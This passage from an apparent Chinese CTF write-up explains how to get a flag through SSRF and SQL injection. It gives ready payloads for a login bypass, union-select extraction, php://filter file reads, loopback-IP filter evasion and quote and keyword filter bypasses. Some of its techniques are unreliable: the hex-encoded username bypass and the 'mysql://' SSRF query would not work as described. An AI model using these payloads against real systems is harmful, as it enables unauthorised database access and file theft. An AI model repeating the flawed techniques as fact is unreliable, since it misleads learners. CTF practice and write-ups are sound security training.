    • 测试url=http://127.0.0.1:3306(MySQL 默认端口),若返回数据库版本信息,可进一步利用数据库漏洞。

第二步:利用 SQL 注入漏洞获取 flag

针对第一个表单的unamepasswd参数,测试 SQL 注入:

  1. 判断注入点
    uname字段输入单引号'passwd任意输入并提交。若页面返回数据库错误(如You have an error in your SQL syntax),说明存在注入点。
  2. 构造注入 payload 绕过登录
    若为字符型注入,使用万能密码绕过:
    • uname=1' or 1=1#&passwd=1#注释掉后续 SQL 语句,使条件恒为真)
    • 若登录成功,可能直接进入后台获取 flag。
  3. 读取数据库中的 flag
    若需查询 flag 所在表,可使用联合查询(假设查询结果回显):
    • 先判断字段数:uname=1' order by 2#&passwd=1(若字段数为 2,无错误)
    • 联合查询读取数据:uname=1' union select 1,flag from flag#&passwd=1(假设表名为flag,字段为flag

第三步:结合漏洞链深化攻击

若单一漏洞无法直接获取 flag,可组合利用:

  • 若 SSRF 无法直接读取flag.php(可能被过滤),可通过 SSRF 获取数据库配置(如config.php中的$dbpass='xxx'),再用 SQL 注入登录数据库,执行select flag from flag
  • 若 SQL 注入无回显,可通过 SSRF 访问本地数据库服务(如url=mysql://user:pass@127.0.0.1:3306/query?sql=select+flag+from+flag),直接执行查询。

三、防御绕过技巧

  1. SSRF 过滤绕过
    • file://协议被禁,尝试php://filter协议读取文件:url=php://filter/convert.base64-encode/resource=/var/www/html/flag.php(Base64 编码避免特殊字符过滤)。
    • 127.0.0.1被禁,用等效 IP 绕过:url=http://0.0.0.0(等价于本地回环)、url=http://2130706433(127.0.0.1 的整数形式)。
  2. SQL 注入过滤绕过
    • 若单引号被过滤,用十六进制编码:uname=0x3127206f7220313d3123(对应1' or 1=1#的十六进制)。
    • or#被过滤,用||--+替代:uname=1' || 1=1--+&passwd=1

四、预期结果与 flag 获取

  • 若 SSRF 成功,读取flag.php可直接获取 flag(如``)。
  • 若 SQL 注入成功,联合查询结果会回显 flag(如页面显示ctf{xxx})。

总结

本题核心是利用SSRF 读取敏感文件SQL 注入突破登录,二者可单独或组合使用。解题关键在于:

  1. 验证 SSRF 对本地资源的访问权限;
  2. 确认 SQL 注入点并构造有效 payload;
  3. 根据过滤规则灵活调整攻击手段(如协议转换、编码绕过)。
posted @ 2025-07-23 08:47  persist1  阅读(1022)  评论(0)    收藏  举报